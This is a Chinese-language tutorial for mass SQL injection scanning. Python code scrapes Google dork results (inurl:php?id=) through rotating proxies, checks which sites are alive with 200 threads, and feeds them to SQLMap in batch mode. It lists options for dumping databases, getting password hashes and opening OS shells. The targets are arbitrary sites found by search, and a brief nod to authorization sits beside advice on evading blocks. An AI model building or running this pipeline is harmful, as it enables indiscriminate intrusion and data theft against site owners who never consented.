使用Google进行批量SQL注入扫描
字数 1323 2025-08-18 11:38:53
使用Python与SQLMap进行批量SQL注入扫描的教学文档
0x01 简介
本教学文档详细介绍了如何结合Python爬虫技术与SQLMap工具进行批量SQL注入漏洞扫描的完整流程。该方法特别适用于需要针对特定地区或包含中文字符的网站进行扫描的场景。
核心问题
- SQLMap的谷歌模块(
-g参数)在处理包含中文字符的搜索语句时会自动过滤掉中文字符 - 需要自定义解决方案来获取包含特定中文内容的潜在漏洞URL
解决方案流程
- 使用Python爬虫获取谷歌搜索结果中的URL
- 对获取的URL进行存活性检测
- 使用SQLMap进行批量扫描
0x02 Python爬虫爬取链接
准备工作
- 设置代理池:防止谷歌屏蔽频繁请求
- 定制请求头:模拟浏览器行为
代码实现
import requests
from lxml import etree
import io
import sys
# 代理设置
proxies = {
"http": "http://142.93.130.xxx:8118",
"https": "http://31.220.51.xxx:80"
}
# 请求头设置
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'accept-encoding': 'gzip, deflate, sdch, br',
'cache-control': 'max-age=0',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0',
'Referer': 'https://www.google.com.hk/'
}
# 发送谷歌搜索请求
r = requests.get(
'https://www.google.com.hk/search?q=inurl:php?id= -site:stackoverflow.com -site:php.net intext:王小强&lr=lang_zh-CN&num=5000',
headers=headers,
proxies=proxies
)
# 使用XPath解析结果
e = etree.HTML(r.text)
name = e.xpath('//h3[@class="LC20lb"]/node()')
url = e.xpath('//cite[@class="iUh30"]/node()')
# 将结果写入文件
filename = 'ip.txt'
with open(filename, 'w', encoding='utf-8') as f:
for i in url:
f.write(i + '\n')
关键参数说明
lr=lang_zh-CN:只返回中文结果num=5000:设置返回结果数量(实际可能受谷歌限制)- XPath路径可能需要根据实际页面结构调整
0x03 URL存活性检验
必要性
- 过滤无响应或响应慢的网站
- 提高后续SQLMap扫描效率
代码实现
import socket
import asyncio
import sys
import queue
import threading
import requests
iplist = []
class socket1():
def __init__(self, i):
self.i = i
def scan(self, ip, i):
s = requests.get(ip, timeout=6)
if s.status_code == 200:
iplist.append(ip)
def worker(self, q):
while not q.empty():
ip = str(q.get())
if ('http' or 'https') not in ip:
ip = 'http://' + ip
print(ip)
try:
self.scan(ip, self.i)
finally:
q.task_done()
if __name__ == '__main__':
print("Start testing the target port")
filename = 'ip.txt'
q = queue.Queue()
a = socket1(80)
with open(filename, 'rb') as f:
for line in f.readlines():
q.put(line.decode()[:-2])
threads = [threading.Thread(target=a.worker, args=(q,)) for i in range(200)]
list(map(lambda x: x.start(), threads))
q.join()
print("scan over")
print(iplist)
with open('ipsuccess.txt', 'w', encoding='utf-8') as f:
for i in iplist:
f.write(i + '\n')
关键参数
timeout=6:设置6秒超时- 多线程处理(200个线程)提高效率
- 自动补全URL协议(添加http://前缀)
0x04 使用SQLMap进行批量检测
基本命令
python sqlmap.py -m ipsuccess.txt --batch
重要参数说明
目标参数
-m:从文件读取多个目标URL--batch:使用默认行为,无需用户交互
请求参数
--data:POST数据--cookie:设置Cookie--random-agent:随机User-Agent--proxy:使用代理--tor:使用Tor网络
注入参数
-p:指定测试参数--dbms:指定后端数据库类型
检测参数
--level:测试级别(1-5)--risk:风险级别(1-3)
技术参数
--technique:指定注入技术(BEUSTQ)
枚举参数
-a:获取所有信息-b:获取banner信息--current-user:获取当前用户--passwords:获取密码哈希--tables:列出表--dump:导出数据
操作系统访问
--os-shell:获取操作系统shell--os-pwn:获取高级shell
自动化扫描建议
- 先使用较低风险级别扫描:
--risk 1 --level 1 - 对初步发现的漏洞提高扫描级别
- 结合
--technique参数针对特定注入技术
注意事项
- 法律合规:确保扫描行为获得授权
- 请求频率:避免对目标网站造成过大负担
- 代理设置:定期更换代理IP防止被封
- 结果验证:自动化扫描结果需要人工验证
- 错误处理:SQLMap的
--batch模式下遇到错误会退出,因此前期URL存活性检测非常重要
扩展应用
- 自定义搜索:修改谷歌搜索语法针对特定CMS或框架
- 结果过滤:添加更多过滤条件提高目标精准度
- 分布式扫描:将任务分发到多台机器提高效率
- 定时任务:设置定期扫描监控漏洞变化
通过以上方法,可以构建一个完整的自动化SQL注入漏洞扫描系统,特别适合需要针对特定内容或地区网站进行安全评估的场景。